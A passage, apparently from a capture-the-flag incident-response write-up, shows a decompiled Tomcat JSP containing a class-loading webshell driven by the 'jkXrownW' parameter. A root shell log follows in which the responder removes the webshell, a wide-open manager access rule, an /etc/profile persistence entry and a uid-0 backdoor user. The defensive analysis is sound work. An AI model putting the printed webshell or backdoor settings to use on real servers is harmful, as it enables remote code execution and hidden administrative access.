punctuation\">[<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token punctuation\">{<\/span> String.class <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">)<\/span>.invoke<span class=\"token punctuation\">(<\/span>decoder, new Object<span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token punctuation\">{<\/span> str <span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span> catch <span class=\"token punctuation\">(<\/span>Exception ee<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token punctuation\">}<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><br \/>\n  <span class=\"token builtin class-name\">return<\/span> value<span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<p>  private static final javax.servlet.jsp.JspFactory _jspxFactory <span class=\"token operator\">&#061;<\/span><br \/>\n          javax.servlet.jsp.JspFactory.getDefaultFactory<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p>  private static java.util.Map<span class=\"token operator\">&lt;<\/span>java.lang.String,java.lang.Long<span class=\"token operator\">&gt;<\/span> _jspx_dependants<span class=\"token punctuation\">;<\/span><\/p>\n<p>  private static final java.util.Set<span class=\"token operator\">&lt;<\/span>java.lang.String<span class=\"token operator\">&gt;<\/span> _jspx_imports_packages<span class=\"token punctuation\">;<\/span><\/p>\n<p>  private static final java.util.Set<span class=\"token operator\">&lt;<\/span>java.lang.String<span class=\"token operator\">&gt;<\/span> _jspx_imports_classes<span class=\"token punctuation\">;<\/span><\/p>\n<p>  static <span class=\"token punctuation\">{<\/span><br \/>\n    _jspx_imports_packages <span class=\"token operator\">&#061;<\/span> new java.util.LinkedHashSet<span class=\"token operator\">&lt;&gt;<\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">3<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    _jspx_imports_packages.add<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;javax.servlet&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    _jspx_imports_packages.add<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;javax.servlet.http&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    _jspx_imports_packages.add<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;javax.servlet.jsp&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    _jspx_imports_classes <span class=\"token operator\">&#061;<\/span> null<span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  private volatile javax.el.ExpressionFactory _el_expressionfactory<span class=\"token punctuation\">;<\/span><br \/>\n  private volatile org.apache.tomcat.InstanceManager _jsp_instancemanager<span class=\"token punctuation\">;<\/span><\/p>\n<p>  public java.util.Map<span class=\"token operator\">&lt;<\/span>java.lang.String,java.lang.Long<span class=\"token operator\">&gt;<\/span> <span class=\"token function-name function\">getDependants<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token builtin class-name\">return<\/span> _jspx_dependants<span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  public java.util.Set<span class=\"token operator\">&lt;<\/span>java.lang.String<span class=\"token operator\">&gt;<\/span> <span class=\"token function-name function\">getPackageImports<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token builtin class-name\">return<\/span> _jspx_imports_packages<span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  public java.util.Set<span class=\"token operator\">&lt;<\/span>java.lang.String<span class=\"token operator\">&gt;<\/span> <span class=\"token function-name function\">getClassImports<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token builtin class-name\">return<\/span> _jspx_imports_classes<span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  public javax.el.ExpressionFactory <span class=\"token function-name function\">_jsp_getExpressionFactory<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>_el_expressionfactory <span class=\"token operator\">&#061;&#061;<\/span> null<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n      synchronized <span class=\"token punctuation\">(<\/span>this<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n        <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>_el_expressionfactory <span class=\"token operator\">&#061;&#061;<\/span> null<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n          _el_expressionfactory <span class=\"token operator\">&#061;<\/span> _jspxFactory.getJspApplicationContext<span class=\"token punctuation\">(<\/span>getServletConfig<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span>.getServletContext<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">))<\/span>.getExpressionFactory<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n        <span class=\"token punctuation\">}<\/span><br \/>\n      <span class=\"token punctuation\">}<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><br \/>\n    <span class=\"token builtin class-name\">return<\/span> _el_expressionfactory<span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  public org.apache.tomcat.InstanceManager <span class=\"token function-name function\">_jsp_getInstanceManager<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>_jsp_instancemanager <span class=\"token operator\">&#061;&#061;<\/span> null<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n      synchronized <span class=\"token punctuation\">(<\/span>this<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n        <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>_jsp_instancemanager <span class=\"token operator\">&#061;&#061;<\/span> null<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n          _jsp_instancemanager <span class=\"token operator\">&#061;<\/span> org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager<span class=\"token punctuation\">(<\/span>getServletConfig<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">))<\/span><span class=\"token punctuation\">;<\/span><br \/>\n        <span class=\"token punctuation\">}<\/span><br \/>\n      <span class=\"token punctuation\">}<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><br \/>\n    <span class=\"token builtin class-name\">return<\/span> _jsp_instancemanager<span class=\"token punctuation\">;<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  public void <span class=\"token function-name function\">_jspInit<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  public void <span class=\"token function-name function\">_jspDestroy<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><\/p>\n<p>  public void _jspService<span class=\"token punctuation\">(<\/span>final javax.servlet.http.HttpServletRequest request, final javax.servlet.http.HttpServletResponse response<span class=\"token punctuation\">)<\/span><br \/>\n      throws java.io.IOException, javax.servlet.ServletException <span class=\"token punctuation\">{<\/span><\/p>\n<p>    final java.lang.String _jspx_method <span class=\"token operator\">&#061;<\/span> request.getMethod<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token operator\">!<\/span><span class=\"token string\">&#034;GET&#034;<\/span>.equals<span class=\"token punctuation\">(<\/span>_jspx_method<span class=\"token punctuation\">)<\/span> <span class=\"token operator\">&amp;&amp;<\/span> <span class=\"token operator\">!<\/span><span class=\"token string\">&#034;POST&#034;<\/span>.equals<span class=\"token punctuation\">(<\/span>_jspx_method<span class=\"token punctuation\">)<\/span> <span class=\"token operator\">&amp;&amp;<\/span> <span class=\"token operator\">!<\/span><span class=\"token string\">&#034;HEAD&#034;<\/span>.equals<span class=\"token punctuation\">(<\/span>_jspx_method<span class=\"token punctuation\">)<\/span> <span class=\"token operator\">&amp;&amp;<\/span> <span class=\"token operator\">!<\/span>javax.servlet.DispatcherType.ERROR.equals<span class=\"token punctuation\">(<\/span>request.getDispatcherType<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">))<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n      response.sendError<span class=\"token punctuation\">(<\/span>HttpServletResponse.SC_METHOD_NOT_ALLOWED, <span class=\"token string\">&#034;JSPs only permit GET, POST or HEAD. Jasper also permits OPTIONS&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      <span class=\"token builtin class-name\">return<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><\/p>\n<p>    final javax.servlet.jsp.PageContext pageContext<span class=\"token punctuation\">;<\/span><br \/>\n    javax.servlet.http.HttpSession session <span class=\"token operator\">&#061;<\/span> null<span class=\"token punctuation\">;<\/span><br \/>\n    final javax.servlet.ServletContext application<span class=\"token punctuation\">;<\/span><br \/>\n    final javax.servlet.ServletConfig config<span class=\"token punctuation\">;<\/span><br \/>\n    javax.servlet.jsp.JspWriter out <span class=\"token operator\">&#061;<\/span> null<span class=\"token punctuation\">;<\/span><br \/>\n    final java.lang.Object page <span class=\"token operator\">&#061;<\/span> this<span class=\"token punctuation\">;<\/span><br \/>\n    javax.servlet.jsp.JspWriter _jspx_out <span class=\"token operator\">&#061;<\/span> null<span class=\"token punctuation\">;<\/span><br \/>\n    javax.servlet.jsp.PageContext _jspx_page_context <span class=\"token operator\">&#061;<\/span> null<span class=\"token punctuation\">;<\/span><\/p>\n<p>    try <span class=\"token punctuation\">{<\/span><br \/>\n      response.setContentType<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;text\/html&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      pageContext <span class=\"token operator\">&#061;<\/span> _jspxFactory.getPageContext<span class=\"token punctuation\">(<\/span>this, request, response,<br \/>\n                        null, true, <span class=\"token number\">8192<\/span>, <span class=\"token boolean\">true<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      _jspx_page_context <span class=\"token operator\">&#061;<\/span> pageContext<span class=\"token punctuation\">;<\/span><br \/>\n      application <span class=\"token operator\">&#061;<\/span> pageContext.getServletContext<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      config <span class=\"token operator\">&#061;<\/span> pageContext.getServletConfig<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      session <span class=\"token operator\">&#061;<\/span> pageContext.getSession<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      out <span class=\"token operator\">&#061;<\/span> pageContext.getOut<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      _jspx_out <span class=\"token operator\">&#061;<\/span> out<span class=\"token punctuation\">;<\/span><\/p>\n<p>      out.write<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#039;\\\\r&#039;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      out.write<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#039;\\\\n&#039;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<p>String cls <span class=\"token operator\">&#061;<\/span> request.getParameter<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;jkXrownW&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>cls <span class=\"token operator\">!&#061;<\/span> null<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n  new PAREN_MATCHING<span class=\"token punctuation\">(<\/span>this.getClass<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span>.getClassLoader<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">))<\/span>.pushdown<span class=\"token punctuation\">(<\/span>transparent<span class=\"token punctuation\">(<\/span>cls<span class=\"token punctuation\">))<\/span>.newInstance<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span>.equals<span class=\"token punctuation\">(<\/span>new Object<span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">{<\/span>request,response<span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<p>      out.write<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#039;\\\\r&#039;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      out.write<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#039;\\\\n&#039;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span> catch <span class=\"token punctuation\">(<\/span>java.lang.Throwable t<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n      <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token operator\">!<\/span><span class=\"token punctuation\">(<\/span>t instanceof javax.servlet.jsp.SkipPageException<span class=\"token punctuation\">))<\/span><span class=\"token punctuation\">{<\/span><br \/>\n        out <span class=\"token operator\">&#061;<\/span> _jspx_out<span class=\"token punctuation\">;<\/span><br \/>\n        <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>out <span class=\"token operator\">!&#061;<\/span> null <span class=\"token operator\">&amp;&amp;<\/span> out.getBufferSize<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token operator\">!&#061;<\/span> <span class=\"token number\">0<\/span><span class=\"token punctuation\">)<\/span><br \/>\n          try <span class=\"token punctuation\">{<\/span><br \/>\n            <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>response.isCommitted<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">))<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n              out.flush<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n            <span class=\"token punctuation\">}<\/span> <span class=\"token keyword\">else<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n              out.clearBuffer<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n            <span class=\"token punctuation\">}<\/span><br \/>\n          <span class=\"token punctuation\">}<\/span> catch <span class=\"token punctuation\">(<\/span>java.io.IOException e<span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token punctuation\">}<\/span><br \/>\n        <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">(<\/span>_jspx_page_context <span class=\"token operator\">!&#061;<\/span> null<span class=\"token punctuation\">)<\/span> _jspx_page_context.handlePageException<span class=\"token punctuation\">(<\/span>t<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n        <span class=\"token keyword\">else<\/span> throw new ServletException<span class=\"token punctuation\">(<\/span>t<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n      <span class=\"token punctuation\">}<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span> finally <span class=\"token punctuation\">{<\/span><br \/>\n      _jspxFactory.releasePageContext<span class=\"token punctuation\">(<\/span>_jspx_page_context<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><br \/>\n  <span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token punctuation\">[<\/span><span class=\"token number\">1<\/span><span class=\"token punctuation\">]<\/span>&#043;  Exit <span class=\"token number\">1<\/span>                  \/var\/crash\/tomcat  <span class=\"token punctuation\">(<\/span>wd: ~<span class=\"token punctuation\">)<\/span><br \/>\n<span class=\"token punctuation\">(<\/span>wd now: \/opt\/apache-tomcat-8.5.100\/work\/Catalina\/localhost\/a\/org\/apache\/jsp<span class=\"token punctuation\">)<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/work\/Catalina\/localhost\/a\/org\/apache\/jsp<span class=\"token comment\"># rm -rf \/opt\/apache-tomcat-8.5.100\/work\/Catalina\/localhost\/a<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/work\/Catalina\/localhost\/a\/org\/apache\/jsp<span class=\"token comment\"># rm -rf \/opt\/apache-tomcat-8.5.100\/webapps\/a\/<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/work\/Catalina\/localhost\/a\/org\/apache\/jsp<span class=\"token comment\"># rm -rf \/opt\/apache-tomcat-8.5.100\/webapps\/examples\/<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/work\/Catalina\/localhost\/a\/org\/apache\/jsp<span class=\"token comment\"># cd \/opt\/apache-tomcat-8.5.100\/webapps\/manager\/META-INF<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/webapps\/manager\/META-INF<span class=\"token comment\"># cat context.xml<\/span><br \/>\n<span class=\"token operator\">&lt;<\/span>?xml <span class=\"token assign-left variable\">version<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;1.0&#034;<\/span> <span class=\"token assign-left variable\">encoding<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;UTF-8&#034;<\/span>?<span class=\"token operator\">&gt;<\/span><br \/>\n<span class=\"token operator\">&lt;<\/span><span class=\"token operator\">!<\/span>&#8212;<br \/>\n  Licensed to the Apache Software Foundation <span class=\"token punctuation\">(<\/span>ASF<span class=\"token punctuation\">)<\/span> under one or <span class=\"token function\">more<\/span><br \/>\n  contributor license agreements.  See the NOTICE <span class=\"token function\">file<\/span> distributed with<br \/>\n  this work <span class=\"token keyword\">for<\/span> additional information regarding copyright ownership.<br \/>\n  The ASF licenses this <span class=\"token function\">file<\/span> to You under the Apache License, Version <span class=\"token number\">2.0<\/span><br \/>\n  <span class=\"token punctuation\">(<\/span>the <span class=\"token string\">&#034;License&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span> you may not use this <span class=\"token function\">file<\/span> except <span class=\"token keyword\">in<\/span> compliance with<br \/>\n  the License.  You may obtain a copy of the License at<\/p>\n<p>      http:\/\/www.apache.org\/licenses\/LICENSE-2.0<\/p>\n<p>  Unless required by applicable law or agreed to <span class=\"token keyword\">in<\/span> writing, software<br \/>\n  distributed under the License is distributed on an <span class=\"token string\">&#034;AS IS&#034;<\/span> BASIS,<br \/>\n  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.<br \/>\n  See the License <span class=\"token keyword\">for<\/span> the specific language governing permissions and<br \/>\n  limitations under the License.<br \/>\n&#8212;<span class=\"token operator\">&gt;<\/span><br \/>\n<span class=\"token operator\">&lt;<\/span><span class=\"token operator\">!<\/span>&#8212;<br \/>\n<span class=\"token operator\">&lt;<\/span>Context <span class=\"token assign-left variable\">antiResourceLocking<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;false&#034;<\/span> <span class=\"token assign-left variable\">privileged<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;true&#034;<\/span> <span class=\"token operator\">&gt;<\/span><br \/>\n  <span class=\"token operator\">&lt;<\/span>CookieProcessor <span class=\"token assign-left variable\">className<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;org.apache.tomcat.util.http.Rfc6265CookieProcessor&#034;<\/span><br \/>\n                   <span class=\"token assign-left variable\">sameSiteCookies<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;strict&#034;<\/span> \/<span class=\"token operator\">&gt;<\/span><br \/>\n  <span class=\"token operator\">&lt;<\/span>Valve <span class=\"token assign-left variable\">className<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;org.apache.catalina.valves.RemoteAddrValve&#034;<\/span><br \/>\n         <span class=\"token assign-left variable\">allow<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;127\\\\.\\\\d&#043;\\\\.\\\\d&#043;\\\\.\\\\d&#043;|::1|0:0:0:0:0:0:0:1&#034;<\/span> \/<span class=\"token operator\">&gt;<\/span><br \/>\n  <span class=\"token operator\">&lt;<\/span>Manager <span class=\"token assign-left variable\">sessionAttributeValueClassNameFilter<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;java\\\\.lang\\\\.(?:Boolean|Integer|Long|Number|String)|org\\\\.apache\\\\.catalina\\\\.filters\\\\.CsrfPreventionFilter\\\\<span class=\"token variable\">$LruCache<\/span>(?:\\\\<span class=\"token variable\">$1<\/span>)?|java\\\\.util\\\\.(?:Linked)?HashMap&#034;<\/span>\/<span class=\"token operator\">&gt;<\/span><br \/>\n<span class=\"token operator\">&lt;<\/span>\/Context<span class=\"token operator\">&gt;<\/span><br \/>\n&#8212;<span class=\"token operator\">&gt;<\/span><br \/>\n<span class=\"token operator\">&lt;<\/span>Context <span class=\"token assign-left variable\">antiResourceLocking<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;false&#034;<\/span> <span class=\"token assign-left variable\">privileged<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;true&#034;<\/span> <span class=\"token operator\">&gt;<\/span><br \/>\n  <span class=\"token operator\">&lt;<\/span>Valve <span class=\"token assign-left variable\">className<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;org.apache.catalina.valves.RemoteAddrValve&#034;<\/span><br \/>\n         <span class=\"token assign-left variable\">allow<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;^.*$&#034;<\/span> \/<span class=\"token operator\">&gt;<\/span><br \/>\n<span class=\"token operator\">&lt;<\/span>\/Context<span class=\"token operator\">&gt;<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/webapps\/manager\/META-INF<span class=\"token comment\"># vim context.xml<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/webapps\/manager\/META-INF<span class=\"token comment\"># cd \/opt\/apache-tomcat-8.5.100\/bin\/<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/bin<span class=\"token comment\"># tail -10 \/etc\/profile<\/span><\/p>\n<p><span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">[<\/span> <span class=\"token parameter variable\">-d<\/span> \/etc\/profile.d <span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">then<\/span><br \/>\n  <span class=\"token keyword\">for<\/span> <span class=\"token for-or-select variable\">i<\/span> <span class=\"token keyword\">in<\/span> \/etc\/profile.d\/*.sh<span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">do<\/span><br \/>\n    <span class=\"token keyword\">if<\/span> <span class=\"token punctuation\">[<\/span> <span class=\"token parameter variable\">-r<\/span> <span class=\"token variable\">$i<\/span> <span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span> <span class=\"token keyword\">then<\/span><br \/>\n      <span class=\"token builtin class-name\">.<\/span> <span class=\"token variable\">$i<\/span><br \/>\n    <span class=\"token keyword\">fi<\/span><br \/>\n  <span class=\"token keyword\">done<\/span><br \/>\n  <span class=\"token builtin class-name\">unset<\/span> i<br \/>\n<span class=\"token keyword\">fi<\/span><br \/>\n\/var\/crash\/tomcat <span class=\"token operator\">&amp;<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/bin<span class=\"token comment\"># sed -i &#039;$ d&#039; \/etc\/profile<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/bin<span class=\"token comment\"># cd \/opt\/apache-tomcat-8.5.100\/bin\/<\/span><br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/bin<span class=\"token comment\"># .\/shutdown.sh<\/span><br \/>\nUsing CATALINA_BASE:   \/opt\/apache-tomcat-8.5.100<br \/>\nUsing CATALINA_HOME:   \/opt\/apache-tomcat-8.5.100<br \/>\nUsing CATALINA_TMPDIR: \/opt\/apache-tomcat-8.5.100\/temp<br \/>\nUsing JRE_HOME:        \/opt\/jre8u462<br \/>\nUsing CLASSPATH:       \/opt\/apache-tomcat-8.5.100\/bin\/bootstrap.jar:\/opt\/apache-tomcat-8.5.100\/bin\/tomcat-juli.jar<br \/>\nUsing CATALINA_OPTS:<br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/bin<span class=\"token comment\"># .\/startup.sh<\/span><br \/>\nUsing CATALINA_BASE:   \/opt\/apache-tomcat-8.5.100<br \/>\nUsing CATALINA_HOME:   \/opt\/apache-tomcat-8.5.100<br \/>\nUsing CATALINA_TMPDIR: \/opt\/apache-tomcat-8.5.100\/temp<br \/>\nUsing JRE_HOME:        \/opt\/jre8u462<br \/>\nUsing CLASSPATH:       \/opt\/apache-tomcat-8.5.100\/bin\/bootstrap.jar:\/opt\/apache-tomcat-8.5.100\/bin\/tomcat-juli.jar<br \/>\nUsing CATALINA_OPTS:<br \/>\nTomcat started.<br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/bin<span class=\"token comment\"># ~\/flagcheck<\/span><br \/>\n\u68c0\u6d4b\u5230\u540e\u95e8\u672a\u5904\u7f6e<span class=\"token operator\">!<\/span><span class=\"token operator\">!<\/span>\u65e0\u6cd5\u63d0\u4f9bflag<br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/bin<span class=\"token comment\"># cat \/etc\/passwd<\/span><br \/>\nroot:x:0:0:root:\/root:\/bin\/bash<br \/>\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin<br \/>\ndev:x:0:0:dev:\/dev:\/bin\/bash<br \/>\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin<br \/>\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin<br \/>\nsync:x:4:65534:sync:\/bin:\/bin\/sync<br \/>\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin<br \/>\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin<br \/>\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin<br \/>\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin<br \/>\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin<br \/>\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin<br \/>\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin<br \/>\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin<br \/>\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin<br \/>\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin<br \/>\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin<br \/>\n_apt:x:42:65534::\/nonexistent:\/usr\/sbin\/nologin<br \/>\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin<br \/>\nnode:x:1000:1000::\/home\/node:\/bin\/bash<br \/>\nDebian-exim:x:100:102::\/var\/spool\/exim4:\/usr\/sbin\/nologin<br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/bin<span class=\"token comment\"># userdel -rf dev<\/span><br \/>\nuserdel: user dev is currently used by process <span class=\"token number\">1<\/span><br \/>\nuserdel: dev mail spool <span class=\"token punctuation\">(<\/span>\/var\/mail\/dev<span class=\"token punctuation\">)<\/span> not found<br \/>\nuserdel: error removing directory \/dev<br \/>\nroot&#064;csirt3-d316dd631f5c402f:\/opt\/apache-tomcat-8.5.100\/bin<span class=\"token comment\"># ~\/flagcheck<\/span><br 